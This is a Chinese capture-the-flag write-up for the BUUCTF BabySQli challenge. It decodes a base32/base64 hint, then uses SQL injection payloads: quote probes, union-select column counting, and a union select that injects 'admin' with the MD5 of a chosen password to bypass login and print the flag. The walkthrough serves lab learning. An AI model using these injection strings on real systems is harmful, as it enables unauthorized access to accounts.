BUUCTF [GXYCTF2019]BabySQli 1 详解!(MD5与SQL之间的碰撞)
题目环境
burp抓包
随便输入值
repeater放包
在注释那里发现某种编码
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
看着像是base编码格式
通过测试发现是套加密(二次加密)
首先使用base32对此编码进行解码
base32解码c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
两个等号base64编码无疑了
base64解码
得到一段SQL查询语句
select * from user where username = '$name'
通过对这段SQL语句的初步判断
可以得出此题的注入点是参数name
判断注入类型
1
123
1’
123
发生报错
可以得出此题的注入类型为字符型注入
尝试万能密码
1’ or ‘1’='1
123
猜测’or’关键字或’='字符被过滤
弱口令猜测
首先猜测用户名既有可能是admin
密码暂且还不知道
判断字段数
1’ union select 1,2#
123
1’ union select 1,2,3#
123
可知字段数是3
判断用户所在列
1’ union select ‘admin’,2,3#
123
1’ union select 1,‘admin’,3#
123
通过用户所在列测试,得出了存在用户admin,又得出了admin用户在第二列,也就是username字段那一列。
查看题目源码
在search.php源代码哪里发现关键代码
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
发现参数password被md5加密
看着和之前做过的题很类似
大致就是传进去的值要进行md5值加密
换种方式猜测
username数据表里面的3个字段分别是flag、name、password。
猜测只有password字段位NULL
咱们给参数password传入的值是123
那么传进去后,后台就会把123进行md5值加密并存放到password字段当中
当我们使用查询语句的时候
我们pw参数的值会被md5值进行加密
然后再去与之前存入password中的md5值进行比较
如果相同就会输出flag
爆flag:
这里pw参数的值为123456
可以随便传
但是要对传入的那个值进行md5值加密
网上可以随便找一个在线md5加密平台
1’union select 1,‘admin’,‘e10adc3949ba59abbe56e057f20f883e’#
123456
得出flag:flag{3c7be44e-df35-40a7-bd91-1b210bf75fcb}
- 点赞
- 收藏
- 关注作者
评论(0)